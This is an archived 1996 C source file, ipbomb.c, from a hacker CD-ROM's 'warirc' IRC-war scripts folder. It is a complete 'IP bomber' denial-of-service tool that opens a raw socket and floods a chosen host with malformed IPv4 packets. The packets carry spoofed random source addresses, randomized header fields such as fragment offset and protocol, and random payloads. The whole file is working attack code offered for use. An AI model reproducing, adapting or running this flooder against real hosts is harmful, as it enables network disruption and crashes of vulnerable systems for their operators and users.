home *** CD-ROM | disk | FTP | other *** search
/ HaCKeRz KrOnIcKLeZ 3 / HaCKeRz_KrOnIcKLeZ.iso / ircscripts / warirc / ipbomb.c < prev    next >
C/C++ Source or Header  |  1996-04-23  |  5KB  |  254 lines

  1. /*    IP bomber     */
  2. #define DEBUG
  3. #include <netdb.h>
  4. #include <sys/time.h>
  5. #include <sys/types.h>
  6. #include <sys/socket.h>
  7. #include <netinet/in.h>
  8. #include <netinet/in_systm.h>
  9. #include <netinet/ip.h>
  10. #include <netinet/ip_icmp.h>
  11. #include <netinet/tcp.h>
  12. #include <signal.h>
  13. #include <errno.h>
  14. #include <string.h>
  15. #include <stdio.h>
  16.  
  17. #include <unistd.h>
  18. #include <stdlib.h>
  19. #include <string.h>
  20. #include <fcntl.h>
  21. #include <time.h>
  22. #include <sys/socket.h>
  23. #include <netinet/in.h>
  24. #ifndef __linux__
  25. #include <in_systm.h>
  26. #include <ip.h>
  27. #else
  28. #include <endian.h>
  29. #include "/usr/src/linux/include/linux/in_systm.h"
  30. #include "/usr/src/linux/net/inet/ip.h"
  31. #include <linux/wait.h>
  32. #include "/usr/src/linux/net/inet/skbuff.c"
  33. #endif
  34.  
  35. #include <assert.h>
  36.  
  37. static unsigned int wait_time = 0;
  38. static unsigned int packet_size = 80;
  39. static unsigned int packet_count = 1000;
  40. static int gateway = 0x0100007f;
  41. static int destination  = 0;
  42. static unsigned int uflag = 0;
  43. static unsigned int tflag = 0;
  44.  
  45. static int socket_fd;
  46. static struct sockaddr dest;
  47.  
  48.  
  49. /* Convert an ASCII string to binary IP. Borrowed from linux/net/inet/utils.c */
  50.  
  51. unsigned long
  52. in_aton(char *str)
  53. {
  54.   unsigned long l;
  55.   unsigned int val;
  56.   int i;
  57.  
  58.   l = 0;
  59.   for (i = 0; i < 4; i++) {
  60.         l <<= 8;
  61.         if (*str != '\0') {
  62.                 val = 0;
  63.                 while (*str != '\0' && *str != '.') {
  64.                         val *= 10;
  65.                         val += *str - '0';
  66.                         str++;
  67.                 }
  68.                 l |= val;
  69.                 if (*str != '\0') str++;
  70.         }
  71.   }
  72.   return(htonl(l));
  73. }
  74.  
  75.  
  76. void print_usage ()
  77. {
  78.     fprintf(stderr,
  79.         "Usage: ipbomber [-w time] [-s packet_size] [-c packets_count] host\n");
  80.     exit (1);
  81. }
  82.  
  83. void get_options (int argc, char *argv[])
  84. {
  85.     extern int optind;
  86.     extern char *optarg;
  87.     int    c;
  88.  
  89.     while (( c = getopt (argc, argv, "r:c:w:s:g:")) > 0) {
  90.         switch (c) {
  91.             case 'w' :
  92.                 wait_time = atoi (optarg);
  93.                 break;
  94.             case 's' :
  95.                 packet_size = atoi (optarg);
  96.                 break;
  97.             case 'c' :
  98.                 packet_count = atoi (optarg);
  99.                 break;
  100.             case 'g' :
  101.                 gateway = in_aton (optarg);
  102.                 break;
  103.             case 'r' :
  104.                 srand (atoi (optarg));
  105.                 break;
  106.             case 't' :
  107.                 tflag ++;
  108.                 break;
  109.             case 'u' :
  110.                 uflag ++;
  111.                 break;
  112.             default : 
  113.                 print_usage ();
  114.         }
  115.     }
  116.  
  117.     if ( optind >= argc ) 
  118.         print_usage ();
  119.     
  120.     destination = in_aton (argv[optind]);    
  121. #ifdef DEBUG
  122.     fprintf (stderr, "Wait time = %d\n", wait_time);
  123.     fprintf (stderr, "Maximum packet size = %d\n", packet_size);
  124.     fprintf (stderr, "Packets count = %d\n", packet_count);
  125.     fprintf (stderr, "Destination = %08x\n", destination);
  126.     fprintf (stderr, "Gateway = %08x\n", gateway);
  127.     if (tflag)
  128.         fprintf (stderr, "TCP option enabled\n");
  129.     if (uflag)
  130.         fprintf (stderr, "UDP option enabled\n");
  131. #endif
  132.     
  133. }
  134.  
  135. void init_raw_socket()
  136. {
  137.     unsigned int sndlen, ssndlen, optlen = sizeof (ssndlen);
  138.     int fl;
  139.  
  140.     if ( (socket_fd = socket (AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0 ) {
  141.         perror ("ipbomb : socket ");
  142.         exit (1);
  143.     }
  144.  
  145. #ifdef __linux__
  146.     sndlen = packet_size + 128 + 1 + sizeof (struct sk_buff);
  147. #else
  148.     sndlen = packet_size;
  149. #endif
  150.     if ( setsockopt (socket_fd, SOL_SOCKET, SO_SNDBUF, (char *) &sndlen,
  151.         sizeof (sndlen) ) ) {
  152.         perror ("ipbomb : setsockopt (..., ..., SO_SNDBUF,...) ");
  153.         exit (1);
  154.     }
  155.     if ( getsockopt (socket_fd, SOL_SOCKET, SO_SNDBUF, (char *) &ssndlen,
  156.         &optlen) ) {
  157.         perror ("ipbomb : getsockopt (..., ..., SO_SNDBUF,...) ");
  158.         exit (1);
  159.     }
  160.  
  161.     if ( ssndlen != sndlen ) {
  162.         fprintf (stderr, "ipbomb: maximum packet size to big.\n");
  163.         exit (1);
  164.     }
  165.  
  166.  
  167.     fl = fcntl ( socket_fd, F_GETFL, 0);
  168.     fl |= O_NONBLOCK;
  169.     fcntl ( socket_fd, F_SETFL, fl);
  170.  
  171.     
  172. }
  173.  
  174.  
  175. void close_raw_socket()
  176. {
  177.     close (socket_fd);
  178. }
  179.  
  180. void send_packet( char *bomb, int len )
  181. {
  182.     int i;
  183.  
  184.     i = sendto (socket_fd, bomb, len, 0, &dest, sizeof (dest));
  185. /*
  186.     if ( i != packet_size )  {
  187.         perror ("ipbomb : sendto ");
  188.         exit (1);
  189.     }
  190. */
  191.     
  192. }
  193.  
  194. void generate_packet( char *bomb )
  195. {
  196.     struct ip * iph = (struct ip *) bomb;
  197.     unsigned int i;
  198.     unsigned int len = packet_size * (rand() & 0xffff) >> 16 ;
  199.  
  200.     assert ( len < packet_size );
  201. /* Options needed to be correct */
  202.     iph->ip_v = IPVERSION;
  203.     iph->ip_hl = 5;
  204.     iph->ip_sum = 0;
  205.     iph->ip_len = htons(len); 
  206.  
  207. /* Random options */
  208. #define SET_RAND(_a)  iph->_a = rand() & ((1 << (sizeof (iph->_a) * 8)) - 1)
  209.     SET_RAND(ip_tos);
  210.     SET_RAND(ip_id);
  211.     SET_RAND(ip_ttl);
  212.     SET_RAND(ip_off);
  213.     SET_RAND(ip_p);
  214. #undef SET_RAND
  215.     iph->ip_src.s_addr = rand();
  216.     iph->ip_dst.s_addr = destination ? destination : rand();
  217.  
  218.  
  219.     for ( i = sizeof (struct ip); i < len; i++)
  220.         bomb[i] = rand() & 255;
  221.  
  222.     send_packet(bomb, len);
  223. }
  224.  
  225. void main (int argc, char *argv[])
  226. {
  227.     int i;
  228.     char * bomb;     
  229.     struct sockaddr_in * inet_dest = (struct sockaddr_in *) & dest;
  230.  
  231.     srand (time (NULL));
  232.  
  233.     get_options (argc, argv);    
  234.  
  235.     bzero (&dest, sizeof (dest));
  236.     inet_dest->sin_family = AF_INET;
  237.     inet_dest->sin_addr.s_addr = gateway;
  238.  
  239.     if ( (bomb = malloc(packet_size)) == NULL) {
  240.         perror ("ipbomber: malloc");
  241.         exit(1);
  242.     }
  243.     
  244.     init_raw_socket();
  245.     
  246.     for ( i = 0; i < packet_count; i++ ) {
  247.         generate_packet (bomb);
  248.     }
  249.     
  250.     close_raw_socket();
  251.     
  252. }
  253.  
  254.